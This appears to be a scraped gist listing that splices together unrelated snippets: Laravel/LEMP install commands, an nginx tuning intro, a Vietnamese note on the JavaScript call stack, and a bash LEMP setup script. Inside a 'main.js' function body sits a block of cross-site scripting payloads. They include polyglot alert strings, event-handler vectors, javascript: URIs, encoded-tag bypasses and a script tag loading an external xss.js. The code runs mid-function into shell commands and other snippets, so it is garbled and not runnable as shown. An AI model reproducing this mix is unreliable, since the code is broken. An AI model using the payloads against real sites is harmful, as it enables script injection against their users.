Tony Huỳnh mrtonyhuynh

#Steps to install latest Laravel, LEMP on AWS Ubuntu 16.4 version. This tutorial is the improvised verision of this tutorial on Digitalocean based on my experience.

Install PHP 7 on Ubuntu

Run the following commands in sequence.

sudo apt-get install -y language-pack-en-base
sudo LC_ALL=en_US.UTF-8 add-apt-repository ppa:ondrej/php
sudo apt-get update
sudo apt-get install zip unzip

Moved to git repository: https://github.com/denji/nginx-tuning

NGINX Tuning For Best Performance

For this configuration you can use web server you like, i decided, because i work mostly with it to use nginx.

Generally, properly configured nginx can handle up to 400K to 500K requests per second (clustered), most what i saw is 50K to 80K (non-clustered) requests per second and 30% CPU load, course, this was 2 x Intel Xeon with HyperThreading enabled, but it can work without problem on slower machines.

You must understand that this config is used in testing environment and not in production so you will need to find a way to implement most of those features best possible for your servers.

Call stack là gì

Call stack là một cấu trúc dữ liệu với đặc điểm là: FILO(First in - Last out). Trong Javascript, call stack được sử dụng để quản lý thứ tự các câu lệnh thực thi.

Trường hợp 1

/* Trong file main.js */

var firstFunction = function () {

	';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
	'';!--"<XSS>=&{()}
	0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
	<script/src=data:,alert()>
	<marquee/onstart=alert()>
	<video/poster/onerror=alert()>
	<isindex/autofocus/onfocus=alert()>
	<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
	<IMG SRC="javascript:alert('XSS');">
	<IMG SRC=javascript:alert('XSS')>

	<script\x20type="text/javascript">javascript:alert(1);</script>
	<script\x3Etype="text/javascript">javascript:alert(1);</script>
	<script\x0Dtype="text/javascript">javascript:alert(1);</script>
	<script\x09type="text/javascript">javascript:alert(1);</script>
	<script\x0Ctype="text/javascript">javascript:alert(1);</script>
	<script\x2Ftype="text/javascript">javascript:alert(1);</script>
	<script\x0Atype="text/javascript">javascript:alert(1);</script>
	'`"><\x3Cscript>javascript:alert(1)</script>
	'`"><\x00script>javascript:alert(1)</script>
	<img src=1 href=1 onerror="javascript:alert(1)"></img>

	#!/bin/bash

	# This script will set up a LEMP environment for local development on
	# Ubuntu 18.04. Nginx will look for sites in ~/Code/{folder}/public/. These
	# sites can be accessed locally by going to http://{folder}.localtest.me. An
	# example site called "info" is created automatically and you can view it by
	# going to http://info.localtest.me. The source code for this site is in
	# ~/Code/info/public/

	# ADD SOME PPAs

	## Install Requiriment And update System
	sudo apt-get -y update
	sudo apt-get -y upgrade
	sudo apt-get -y dist-upgrade
	sudo apt-get -y install sudo nano git net-tools sudo wget curl bash-completion
	sudo apt-get -y install software-properties-common dirmngr
	sudo apt-get -y install apt-transport-https lsb-release ca-certificates
	sudo apt-get -y install software-properties-common

	## Update First

	########## Install NGINX ##############

	# Install software-properties-common package to give us add-apt-repository package
	sudo apt-get install -y software-properties-common

	# Install latest nginx version from community maintained ppa
	sudo add-apt-repository ppa:nginx/stable

	# Update packages after adding ppa
	sudo apt-get update

	// String utils
	//
	// resources:
	// -- mout, https://github.com/mout/mout/tree/master/src/string

	/**
	* "Safer" String.toLowerCase()
	*/
	function lowerCase(str){
	return str.toLowerCase();